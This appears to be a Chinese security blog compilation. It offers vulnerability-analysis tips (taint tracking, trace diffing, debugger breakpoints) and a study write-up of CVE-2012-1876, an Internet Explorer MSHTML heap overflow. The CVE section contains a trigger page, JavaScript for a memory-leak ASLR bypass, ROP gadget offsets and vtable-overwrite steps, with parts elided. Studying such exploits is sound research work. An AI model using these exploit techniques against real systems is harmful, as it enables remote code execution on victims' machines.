    ntdll!RtlFreeHeap+0x3a:
    77691f88 80780705        cmp     byte ptr [eax+7],5         ds:0023:138f001f=??
    

     

    可以看到它对同一个堆块进行多次释放。在IE漏洞分析中最常见的还是UAF,如果想快速定造成UAF的IE对象,就需要对对象的分配的释放进行释放,这个可通过调试器脚本来实现,或者像之前h4ckmp同学基于Windbg接口写的EXE工具,可以快速分析出导致UAF漏洞的对象,如下图所示。


    技巧八:基于污点追踪的分析方法

     

           污点追踪理论挺好的,但成品往往不容乐观。污点追踪犹如“七伤拳”一般,“先伤己,再伤人”,开发污点追踪工具,不仅费时费力,而且开发完成后,运行比较大的工具往往需要运行很长时间,比如IE、Adobe等软件,有时甚至需要整整一天的时间,这种一般是在调试分析不方便的时候才使用的,主要针对文件格式漏洞。另外,你也可利用pin等动态插桩框架开发出动态分析工具,针对特定函数挂钩,比如堆分配与释放函数,也可以用它来实现快速分析。

     

  • 程序动态分析与软件漏洞利用

    日期:2013-10-22 | 分类:软件漏洞

    2011年翻译的文章,是著名黑客杂志phrack上的文章,主要讲述污点追踪在软件漏洞分析中的应用,并实现了一个windbg插件,用于辅助污点分析,附件里面已经附上编译好的bin,当时直接找作者拿的。此处由于源码文件过大,就不一并上传了,获取方式可以从phrack官网上下载,译文末尾有附链接。 

    下载地址:http://bbs.pediy.com/showthread.php?p=1233070#post1233070

  • 今天在看雪上看到有人问如何对照文件格式文档,调试分析程序中正在解析的是什么结构?这里总结了几点方法,欢迎补充,不过有时还是需要靠经验。

     

    (a)污点追踪分析:标记文件内容为污点,再使用ida 污点分析的相关插件来分析寄存器对应的文件内容,结合010editor文件格式分析脚本来定位文件结构。

    (b)执行指令比对:记录正常文件与异常文件的执行指令(od、immdbg都有trace功能),然后再作代码diff,比对代码的差异性,再根据文件内容的差异性整体分析。

    (c)条件消息断点:在一些可能导致漏洞的变量都设置条件消息断点,在log中记录他的值,不少变量都会被循环操作的,根据变量记录的结果,找到其中的规律来定位文件结构。

    (d)假设法:有时分析漏洞真的是靠猜的,假设对应某个文件结构,再调试分析去证实。

    (e)开源软件符号表加载:比如分析libpng漏洞,优先找个使用libpng且开源并提供有符号的软件,比如Firefox,分析libpng时直接使用firefox符号表去调试firefox就很容易定位结构,libpng函数也直接识别,或者你也可以直接编译libpng制作符号表。 

  • CVE-2012-1876:MSHTML_DLL_CTableLayout_CalculateMinMax堆溢出漏洞

     

    by riusksk

    日期:2012-8-5

     

    近来工作上主要以WEB安全为主,软件安全学习停滞过久,怕生疏掉了,因此找些漏洞分析文章及Exploit学习下。

    关于最近比较火的cve-2012-1876,也就是Pwn2Own 2012 黑客大赛上被利用的IE漏洞,我根据现有的分析文章及exploit简单记录下。

     

     

    一、测试代码

     

     <html>

     <body>

     <table style="table-layout:fixed" >

            <col id="132" width="41" span="1" >&nbsp </col>

     </table>

     <script>

     

     function over_trigger() {

            var obj_col = document.getElementById("132");

            obj_col.width = "42765";

            obj_col.span = 1000;

     }

     

     setTimeout("over_trigger();",1);

     

     </script>

     </body>

     </html>

     

     

    二、漏洞成因

     

    CTableLayout::CalculateMinMax函数的原型为:

     

    void __thiscall CTableLayout::CalculateMinMax(

    CTableLayout* theTableLayoutObj,

    LPVOID lpUnknownStackBuffer ) 

     

    各变量意义:

     

    theTableLayoutObj:table标签对象地址

    TableElementArray = theTableLayoutObj + 0x84 :<table>标签元素数组地址,即col元素

    SpanSum = theTableLayoutObj + 0x54 :span属性和

    SpanSum2 = theTableLayoutObj + 0x94 :用于跟SpanSum比较

    theTableColObj:col标签对象地址

    theTableColAttrArray = theTableColObj + 0xC :col属性数组地址

    theTableColAttrInfoBuffer = theTableColAttrArray + 0xC :用于保存col元素属性值的缓冲区

     

    1、当页面加载时,CTableLayout::CalculateMinMax首次被调用,<col>的span属性值被初始化为1,此时SpanSum=1,SpanSum2=0。

    2、由于(SpanSum2 << 2) < SpanSum,因此会调用CImplAry::EnsureSizeWorker函数分配大小为 0x1C * SpanSum 的内存,但至少分配 0x1C * 4 = 0x70 大小的内存块。

    3、分配内存后,SpanSum2 = SpanSum * 4 = 4,此时(SpanSum2 << 2) == SpanSum,因此不再分配内存。

    4、调用over_trigger,CTableLayout::CalculateMinMax第二次被调用,但SpanSum和SpanSum2未变,而span被更改为1000,由于span值作为复制width到分配缓冲区的循环计数器,1000 * 0x1C > 0x70,最终导致堆溢出。

     

    三、漏洞利用

     

    此次VUPEN是利用内存泄露获取mshtml.dll基址来绕过ASLR,再结合ROP绕过DEP。VUPEN利用mshtml!CButtonLayout对象的虚函数表来获取IE9下的mshtml.dll基址,因为它在各版本DLL中的偏移量是一致的。

     

    1、构造堆内存布局:

     

    实际分配0x100-6,但出于8字节对齐,因此会分配0x100,其中包括字符串头的长度值

    【EEE...(释放,0x100大小)】【AAA...(0x0x100大小)】【BBB...(0x0x100大小)】【mshtml!CButtonLayout对象(0x0x100大小)】【EEE...】……

     

    2、首次溢出,覆盖字符串长度值:

     

    <table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>

    ……

    var obj_col = document.getElementById("132");

    obj_col.span = 19;

     

    覆盖内容:41 * 100 = 0x1004

    覆盖大小:19 * 0x1C = 0x214

     

    此时代表字符串长度的首个DWORD字节被覆盖为 04 10 00 00,当利用JavaScript代码读取时,就可读取0x1004字节,自然也包括mshtml!CButtonLayout的虚表地址。

     

    3、获取虚表地址

     

    由于上面字符串头已经被覆盖为0x1004 > 0x100-6,通过比对各字符串长度,即可找到被覆盖的字符串,而CButtonLayout对象虚表地址保存位置相对字符串起始处的偏移量固定为(0x100-6)/2+(2+8)/2,其中2字节用于对齐,8字节为堆指针,再通过数据类型转换获取CButtonLayout对象虚表地址,该虚表地址再偏移0x1582b8(IE8)即为mshtml.dll基址。

     

        for ( var i = 0; i < 500; i++ ) {

            if ( arr[i].length > (0x100-6)/2 ) { // overflowed

       leak_index = i;

                var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);

                leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );

    mshtmlbase = leak_addr - Number(0x001582b8);

       alert(mshtmlbase);

                break;

            }

        }

     

    4、堆喷射,将rop + shellcode 喷射到可预测的地址,其中ROP指令可通过msvcrt或者jre来构造,其指令地址均通过mshtml基址来偏移获取。

     

    mshtmlbase + Number(0x00001031),

    mshtmlbase + Number(0x00002c78),    // pop ebp; retn

    mshtmlbase + Number(0x0001b4e3),    // xchg eax,esp; retn (pivot)

    ……

    mshtmlbase + Number(0x00352c9f),    // pop eax; retn

    0x90909090,          // nop

    mshtmlbase + Number(0x0052e805),    // pushad; retn

     

    5、二次溢出,覆盖虚表地址,控制程序执行流程:

     

    var obj_col_0 = document.getElementById("132");

    obj_col_0.width = "1178993";

    obj_col_0.span = "44";

     

    覆盖内容:1178993 * 100 = 0x07070024

    覆盖大小:44 * 0x1C = 0x4D0 

     

    最终用0x07070024覆盖到CButtonLayout的虚表,从而执行到0x07070024。

     

     

    四、参考资料:

     

    1、K_K :《CVE-2012-1876 MSHTML.DLL堆溢出漏洞分析》

    2、VUPEN :《Advanced Exploitation of Internet Explorer Heap Overflow》

    3、Metasploit Exploit:https://github.com/rapid7/metasploit-framework/blob/7a0b5a6169948d8a1aab359cf6b8b3577ba7cfd3/modules/exploits/windows/browser/ms12_037_ie_colspan.rb